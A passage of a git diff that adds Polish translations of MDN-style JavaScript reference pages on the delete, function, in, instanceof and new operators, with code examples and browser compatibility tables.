+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Shorthand property names</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("33")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Shorthand method names</td>
+ <td>{{CompatChrome(42.0)}}</td>
+ <td>{{CompatGeckoDesktop("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ <td>{{CompatChrome(1.0)}}</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Shorthand property names</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("33")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Shorthand method names</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(42.0)}}</td>
+ <td>{{CompatGeckoMobile("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(42.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Operatory pamięci</a></li>
+ <li><code><a href="/pl/docs/Web/JavaScript/Reference/Functions/get">get</a></code> / <code><a href="/pl/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/Method_definitions">Definicje metod</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Lexical_grammar">Gramatyka leksykalna</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_delete/index.html b/files/pl/web/javascript/referencje/operatory/operator_delete/index.html
new file mode 100644
index 0000000000..d2a3679804
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_delete/index.html
@@ -0,0 +1,74 @@
+---
+title: Operator delete
+slug: Web/JavaScript/Referencje/Operatory/Operator_delete
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/delete
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Operator delete usuwa obiekt, własność obiektu lub element w określonym indeksie w tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox">delete <em> nazwaObiektu</em>
+</pre>
+
+<pre class="syntaxbox">delete <em>nazwaObiektu.własność</em>
+delete <em>nazwaObiektu</em>['<code><em>własność</em>'</code>]
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>nazwaObiektu</code></dt>
+ <dd>Nazwa obiektu.</dd>
+</dl>
+
+<dl>
+ <dt><code>własność</code></dt>
+ <dd>Własność do usunięcia.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Czwarta forma jest dozwolona tylko wewnątrz instrukcji <code>with</code> w celu usunięcia własności z obiektu.</p>
+
+<p>Możesz użyć operatora <code>delete</code>, aby usunąć zmienne zadeklarowane bezpośrednio, jednak nie możesz usunąć zmiennych zadeklarowanych za pomocą instrukcji <code>var</code>.</p>
+
+<p>Jeśli operator <code>delete</code> zadziała prawidłowo, ustawi on własność lub element jako <code>undefined</code> (niezdefiniowany). Operator <code>delete</code> zwraca wartość true (prawda), jeśli operacja jest możliwa, zaś wartość <code>false</code> (fałsz), gdy operacja nie jest możliwa.</p>
+
+<pre class="brush: js">x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4; // tworzy własność h
+delete x; // zwraca true (można usuwać, jeśli zadeklarowano bezpośrednio)
+delete y; // zwraca false (nie można usuwać, jeśli zadeklarowano za pomocą var)
+delete Math.PI; // zwraca false (nie można usuwać własności predefiniowanych)
+delete myobj.h; // zwraca true (można usuwać własności zdefiniowane przez użytkownika)
+delete myobj; // zwraca true (można usuwać obiekty)
+</pre>
+
+<h3 id="Usuwanie_element.C3.B3w_tablicy" name="Usuwanie_element.C3.B3w_tablicy">Usuwanie elementów tablicy</h3>
+
+<p>Gdy usuwasz element tablicy nie ma to wpływu na jej długość. Na przykład: jeśli usuniesz a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} będzie wciąż a{{ mediawiki.external(4) }}, natomiast a{{ mediawiki.external(3) }} będzie niezdefiniowane.</p>
+
+<p>Gdy operator <code>delete</code> usuwa element tablicy, element ten przestaje już w niej istnieć. W poniższym przykładzie drzewa{{ mediawiki.external(3) }} jest usunięte za pomocą <code>delete</code>.</p>
+
+<pre class="brush: js">drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon");
+delete drzewa[3];
+if (3 in drzewa) {
+ // to nie zostanie wykonane
+}
+</pre>
+
+<p>Jeśli chcesz, aby element tablicy nadal istniał, ale posiadał wartość niezdefiniowaną, użyj słowa kluczowego <code>undefined</code> zamiast operatora <code>delete</code>. W poniższym przykładzie, drzewa{{ mediawiki.external(3) }} jest przypisana wartość niezdefiniowana, ale element tablicy nadal istnieje:</p>
+
+<pre class="brush: js">drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon");
+drzewa[3] = undefined;
+if (3 in drzewa) {
+ // to zostanie wykonane
+}
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_function/index.html b/files/pl/web/javascript/referencje/operatory/operator_function/index.html
new file mode 100644
index 0000000000..1d13d1a3c0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_function/index.html
@@ -0,0 +1,144 @@
+---
+title: Operator function
+slug: Web/JavaScript/Referencje/Operatory/Operator_function
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/function
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Operator <code>function</code> jest używany do definiowania funkcji wewnątrz wyrażenia.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">function [<em>nazwa</em>]([<em>argument1[</em>, <em>argument2[</em>, ..., <em>argumentN</em>]]]) { <em>instrukcje </em>}
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>nazwa</code></dt>
+ <dd>Nazwa funkcji. Może zostać pominięta, w takim wypadku funkcja staje się anonimowa. Nazwa jest tylko lokalna i istnieje wewnętrz funkcji.</dd>
+</dl>
+
+<dl>
+ <dt><code>argumentN</code></dt>
+ <dd>Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów.</dd>
+</dl>
+
+<dl>
+ <dt><code>instrukcje</code></dt>
+ <dd>Instrukcje, które stanowią ciało funkcji.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wyrażenie funkcji jest bardzo podobne do deklaracji funkcji i posiada niemal identyczną składnię (zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/function">function</a>, aby uzyskać bardziej szczegółowe informacje). Główną różnicą pomiędzy wyrażeniem a definicją jest <em>nazwa funkcji, </em>która może zostać pominięta i utworzyć funkcję<em> anonimową</em>. Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje">Funkcje</a>, aby uzyskać informacje o różnicach między instrukcjami funkcji a wyrażeniami funkcji.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p>Poniższy przykład definiuje nienazwaną funkcję i przypisują ją do <code>x</code>. Funkcja zwraca kwadrat jej argumentów:</p>
+
+<pre>var x = function(y) {
+ return y * y;
+};
+</pre>
+
+<h3 id="Nazwane_wyrażenie">Nazwane wyrażenie</h3>
+
+<pre><code>var math = {
+ 'factorial': function factorial(n) {
+ if (n &lt;= 1)
+ return 1;
+ return n * factorial(n - 1);
+ }
+};</code></pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarze</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Zaimplementowano w JavaScript 1.5.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje">Funkcje</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/function">Polecenie function</a></code></p>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_in/index.html b/files/pl/web/javascript/referencje/operatory/operator_in/index.html
new file mode 100644
index 0000000000..0a8ef0f068
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_in/index.html
@@ -0,0 +1,92 @@
+---
+title: Operator in
+slug: Web/JavaScript/Referencje/Operatory/Operator_in
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Operator <code>in</code> zwraca wartość <code>true</code> (prawda), jeśli określona własność jest w określonym obiekcie.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Operator</td>
+ </tr>
+ <tr>
+ <td>Zaimplementowany w:</td>
+ <td>JavaScript 1.4</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<p><code>
+ <i>
+ propNameOrNumber</i>
+ in
+ <i>
+ objectName</i>
+ </code></p>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <code>propNameOrNumber</code></dt>
+ <dd>
+ Łańcuch znaków lub wartość liczbowa reprezentujące nazwę własności lub indeks tablicy.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>objectName</code></dt>
+ <dd>
+ Nazwa obiektu.</dd>
+</dl>
+<h3 id="Opis" name="Opis">Opis</h3>
+<p>Poniższe przykłady pokazują wybrane sposoby użycia operatora <code>in</code>.</p>
+<pre>// Tablice
+trees=new Array("redwood","bay","cedar","oak","maple")
+0 in trees // zwraca true
+3 in trees // zwraca true
+6 in trees // zwraca false
+"bay" in trees // zwraca false (musisz określić numer indeksu,
+ // nie wartość w tym indeksie)
+"length" in trees // zwraca true (length jest własnością tablicy Array)
+
+// Obiekty predefiniowane
+"PI" in Math // zwraca true
+myString=new String("coral")
+"length" in myString // zwraca true
+
+// Custom objects
+mycar = {make:"Honda",model:"Accord",year:1998}
+"make" in mycar // zwraca true
+"model" in mycar // zwraca true
+</pre>
+<p>Musisz określić obiekt z prawej strony operatora <code>in</code>. Na przykład: możesz określić łańcuch znaków stworzony za pomocą konstruktora <code>String</code>, ale nie możesz określić łańcucha znaków wprost.</p>
+<pre>color1=new String("green")
+"length" in color1 // zwraca true
+color2="coral"
+"length" in color2 // generuje błąd (color nie jest obiektem typu String)
+</pre>
+<h4 id="Zastosowanie_in_z_usuni.C4.99tymi_lub_niezdefiniowanymi_w.C5.82asno.C5.9Bciami" name="Zastosowanie_in_z_usuni.C4.99tymi_lub_niezdefiniowanymi_w.C5.82asno.C5.9Bciami">Zastosowanie <code>in</code> z usuniętymi lub niezdefiniowanymi własnościami</h4>
+<p>Jeśli usuniesz własność za pomocą operatora <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_delete">delete</a></code>, operator <code>in</code> zwróci wartość false (fałsz) dla tej własności.</p>
+<pre>mycar = {make:"Honda",model:"Accord",year:1998}
+delete mycar.make
+"make" in mycar // zwraca false
+
+trees=new Array("redwood","bay","cedar","oak","maple")
+delete trees[3]
+3 in trees // zwraca false
+</pre>
+<p>Jeśli ustalisz własność jako niezdefiniowaną, ale nie usuniesz jej, operator <code>in</code> zwróci wartość true (prawda) dla tej własności.</p>
+<pre>mycar = {make:"Honda",model:"Accord",year:1998}
+mycar.make=undefined
+"make" in mycar // zwraca true
+
+trees=new Array("redwood","bay","cedar","oak","maple")
+trees[3]=undefined
+3 in trees // zwraca true
+</pre>
+<p>Aby uzyskać dodatkowe informacje o zastosowaniu operatora <code>in</code> z usuniętymi elementami tablicy, zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_delete">delete</a>.</p>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html b/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html
new file mode 100644
index 0000000000..d9b83cd838
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html
@@ -0,0 +1,168 @@
+---
+title: Operator instanceof
+slug: Web/JavaScript/Referencje/Operatory/Operator_instanceof
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/instanceof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Operator</strong> <strong><code>instanceof</code> </strong>sprawdza czy właściwość konstruktora <code>prototype</code> pojawia się gdziekolwiek w łańcuchu prototypowym obiektu.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}</p>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre>
+
+<dl>
+ <dt>
+ <h3 id="Parametry">Parametry</h3>
+ <code>object</code></dt>
+ <dd>Obiekt do testowania.</dd>
+</dl>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>Funkcja przeciwko której testujemy.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Operator <code>instanceof</code> sprawdza obecność <code>constructor.prototype</code> w łańcuchu prototypowym obiektu <code>object</code></p>
+
+<pre class="brush: js">// definiowanie konstruktorów
+function C() {}
+function D() {}
+
+var o = new C();
+
+// true, ponieważ: Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, ponieważ D.prototype nie występuje w łańcuchu prototypowym o.
+o instanceof D;
+
+o instanceof Object; // true, ponieważ:
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, ponieważ C.prototype nie ma już w łańcuchu prototypowym o
+o instanceof C;
+
+D.prototype = new C(); // add C to [[Prototype]] linkage of D
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true since C.prototype is now in o3's prototype chain
+</pre>
+
+<p>Note that the value of an <code>instanceof</code> test can change based on changes to the <code>prototype</code> property of constructors, and it can also be changed by changing an object prototype using <code>Object.setPrototypeOf</code>. It is also possible using the non-standard <code>__proto__</code> pseudo-property.</p>
+
+<h3 id="instanceof_and_multiple_context_(e.g._frames_or_windows)"><code>instanceof</code> and multiple context (e.g. frames or windows)</h3>
+
+<p>Different scopes have different execution environments. This means that they have different built-ins (different global object, different constructors, etc.). This may result in unexpected results. For instance, <code>[] instanceof window.frames[0].Array</code> will return <code>false</code>, because <code>Array.prototype !== </code><code>window.frames[0].Array</code> and arrays inherit from the former.</p>
+
+<p>This may not make sense at first but when you start dealing with multiple frames or windows in your script and pass objects from one context to another via functions, this will be a valid and strong issue. For instance, you can securely check if a given object is, in fact, an Array using <code>Array.isArray(myObj)</code></p>
+
+<p>For example checking if a <a href="/en-US/docs/Web/API/Node">Nodes</a> is a <a href="/en-US/docs/Web/API/SVGElement">SVGElement</a> in a different context you can use <code>myNode instanceof myNode.ownerDocument.defaultView.SVGElement</code></p>
+
+<div class="note"><strong>Note for Mozilla developers:</strong><br>
+In code using XPCOM <code>instanceof</code> has special effect: <code>obj instanceof </code><em><code>xpcomInterface</code></em> (e.g. <code>Components.interfaces.nsIFile</code>) calls <code>obj.QueryInterface(<em>xpcomInterface</em>)</code> and returns <code>true</code> if QueryInterface succeeded. A side effect of such call is that you can use <em><code>xpcomInterface</code></em>'s properties on <code>obj</code> after a successful <code>instanceof</code> test. Unlike standard JavaScript globals, the test <code>obj instanceof xpcomInterface</code> works as expected even if <code>obj</code> is from a different scope.</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Demonstrating_that_String_and_Date_are_of_type_Object_and_exceptional_cases">Demonstrating that <code>String</code> and <code>Date</code> are of type <code>Object</code> and exceptional cases</h3>
+
+<p>The following code uses <code>instanceof</code> to demonstrate that <code>String</code> and <code>Date</code> objects are also of type <code>Object</code> (they are derived from <code>Object</code>).</p>
+
+<p>However, objects created with the object literal notation are an exception here: Although the prototype is undefined, <code>instanceof Object</code> returns <code>true</code>.</p>
+
+<pre class="brush: js">var simpleStr = 'This is a simple string';
+var myString = new String();
+var newStr = new String('String created with constructor');
+var myDate = new Date();
+var myObj = {};
+
+simpleStr instanceof String; // returns false, checks the prototype chain, finds undefined
+myString instanceof String; // returns true
+newStr instanceof String; // returns true
+myString instanceof Object; // returns true
+
+myObj instanceof Object; // returns true, despite an undefined prototype
+({}) instanceof Object; // returns true, same case as above
+
+myString instanceof Date; // returns false
+
+myDate instanceof Date; // returns true
+myDate instanceof Object; // returns true
+myDate instanceof String; // returns false
+</pre>
+
+<h3 id="Demonstrating_that_mycar_is_of_type_Car_and_type_Object">Demonstrating that <code>mycar</code> is of type <code>Car</code> and type <code>Object</code></h3>
+
+<p>The following code creates an object type <code>Car</code> and an instance of that object type, <code>mycar</code>. The <code>instanceof</code> operator demonstrates that the <code>mycar</code> object is of type <code>Car</code> and of type <code>Object</code>.</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+var mycar = new Car('Honda', 'Accord', 1998);
+var a = mycar instanceof Car; // returns true
+var b = mycar instanceof Object; // returns true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.4.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.instanceof")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof" title="/en-US/docs/JavaScript/Reference/Operators/typeof">typeof</a></code></li>
+ <li>{{jsxref("Symbol.hasInstance")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_new/index.html b/files/pl/web/javascript/referencje/operatory/operator_new/index.html
new file mode 100644
index 0000000000..e6153d3a69
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_new/index.html
@@ -0,0 +1,183 @@
+---
+title: Operator new
+slug: Web/JavaScript/Referencje/Operatory/Operator_new
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Operator</strong><strong> <code>new</code> </strong>tworzy nową instancję typu obiektu zdenifiowanego przez użytkownika lub instancję wbudowanego typu obiektu, który posiada konstruktor.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">new <em>constructor</em>[([<em>arguments</em>])]</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>Klasa bądź funkcja, która definiuje typ obiektu instancji.</dd>
+</dl>
+
+<dl>
+ <dt><code>arguments</code></dt>
+ <dd>Lista wartości z którymi zostanie wywołany <code>constructor</code>.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Tworzenie obiektu przez zdefiniowanego przez użytkownika przebiega w dwóch krokach:</p>
+
+<ol>
+ <li>Zdefiniowanie typu obiektu poprzez napisanie funkcji.</li>
+ <li>Tworzenie jego instancji przy użyciu słowa kluczowego <code>new</code>.</li>
+</ol>
+
+<p>Aby zdefiniować typ obiektu, stwórz funkcję dla tego typu, która określa jego nazwę i właściwości. Obiekt może mieć właściwość, której wartością jest on sam lub inny obiekt. Spójrz na przykłady poniżej</p>
+
+<p>Kiedy wykonywaniy jest kod <code>new <em>Foo</em>(...)</code>, dzieją się następujące rzeczy:</p>
+
+<ol>
+ <li>Tworzeny jest nowy obiekt, dzidziczący po <code><em>Foo</em>.prototype</code>.</li>
+ <li>Wywoływany jest konstruktor <em><code>Foo</code></em> z określonymi argumentami, a kontekst <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> zostaje przypisany do nowo utworzonego obiektu. <code>new <em>Foo</em></code> jest równoznaczne z <code>new </code><em><code>Foo</code></em><code>()</code>, tzn. w przypadku gdy lista argumentów jst nieokreślona, <em><code>Foo</code></em> jest wywoływane bez argumentów.</li>
+ <li>Obiekt zwrócony przez konstruktor staje się wynikiem całego wyrażenia <code>new</code>. Jeżeli konstruktor nie zwraca obiektu, obiekt stworzony w kroku 1 jest używany zamiast niego. (Zwykle kontruktory nie zwracają żadnej wartości, ale mogą tak czynić jeśli chcą nadpiać normalny proces tworzenia obiektu.)</li>
+</ol>
+
+<p>Zawsze można dodać właściwość do wcześniej stworzonego obiektu. Na przykład, wyrażenie <code>car1.color = "black"</code> dodaje właściwość <code>color</code> do <code>car1</code>, przypisuje mu wartość "<code>black</code>". Jednakże, nie wpływa to w żaden sposób na inne obiekty. Aby dodać właściwość do wszystkich obiektów tego samego typu, trzeba dodać tę właściwość do definicji typu obiektu <code>Car</code>.</p>
+
+<p>Można dodać wspólną właściwość do wcześniej zdefiniowanego typu obiektu korzystając z właściwości <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Definiuje ona wspólną właściwość dla wszystkich obiektów tego typu, a nie charakterystyczną dla instancji typu obiektu. Następujący kod dodaje właściwość <code>color</code> o wartości <code>null</code> do wszystkich obiektów typu <code>Car</code>, a następnie znienia tę wartość tylko w obiekcie <code>car1</code> na łańcuch "<code>black</code>" . Po więcej informacji, zobacz <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p>
+
+<pre class="brush: js notranslate">function Car() {}
+car1 = new Car();
+
+console.log(car1.color); // undefined
+
+Car.prototype.color = null;
+console.log(car1.color); // null
+
+car1.color = 'black';
+console.log(car1.color); // black
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Typ_obiektu_i_jego_instancja">Typ obiektu i jego instancja</h3>
+
+<p>Przypuśćmy, że chcesz stworzyś typ obiektu dla aut. Chcesz, żeby był nazwany <code>car</code> i by miał właściwości <code>make</code>, <code>model</code> i <code>year</code>. Żeby to osiągnąć należy stworzyć następującą funkcję:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+</pre>
+
+<p>Teraz można stworzyć obiekt <code>mycar</code>:</p>
+
+<pre class="brush: js notranslate">var mycar = new Car('Eagle', 'Talon TSi', 1993);
+</pre>
+
+<p>Powyższy kod deklaruje zmienną <code>mycar</code> i przypisuje do niej określone właściwości. Wartość <code>mycar.make</code> to łańcuch "Eagle", <code>mycar.year</code> to liczba 1993 itd.</p>
+
+<p>Można stworzyć nieograniczoną ilość obiektów <code>Car</code> poprzez słowo kluczowe <code>new</code>. Na przykład:</p>
+
+<pre class="brush: js notranslate">var kenscar = new Car('Nissan', '300ZX', 1992);
+</pre>
+
+<h3 id="Właściwość_obiektu_będąca_innym_obiektem">Właściwość obiektu, będąca innym obiektem</h3>
+
+<p>Przypuśćmy, że definiujemy typ obiektu <code>Person</code> jak poniżej:</p>
+
+<pre class="brush: js notranslate">function Person(name, age, sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+}
+</pre>
+
+<p>A następnie tworzymy dwa obiekty <code>Person</code>:</p>
+
+<pre class="brush: js notranslate">var rand = new Person('Rand McNally', 33, 'M');
+var ken = new Person('Ken Jones', 39, 'M');
+</pre>
+
+<p>Teraz możemy przepisać definicję <code>Car</code> tak, by zawierała właściwość <code>owner</code>, która przyjmuje obiekt:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+}
+</pre>
+
+<p>Aby utworzyć nowe obiekty, należy napisać:</p>
+
+<pre class="brush: js notranslate">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand);
+var car2 = new Car('Nissan', '300ZX', 1992, ken);
+</pre>
+
+<p>Zamiast przekazywania wartości liczbowych lub łańcuchów znaków, w powyższym przykładzie przekazywane są obiekty: <code>rand</code> oraz <code>ken</code>. Aby uzyskać imię właściciela samochodu <code>car2</code>, należy napisać:</p>
+
+<pre class="brush: js notranslate">car2.owner.name
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specifikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
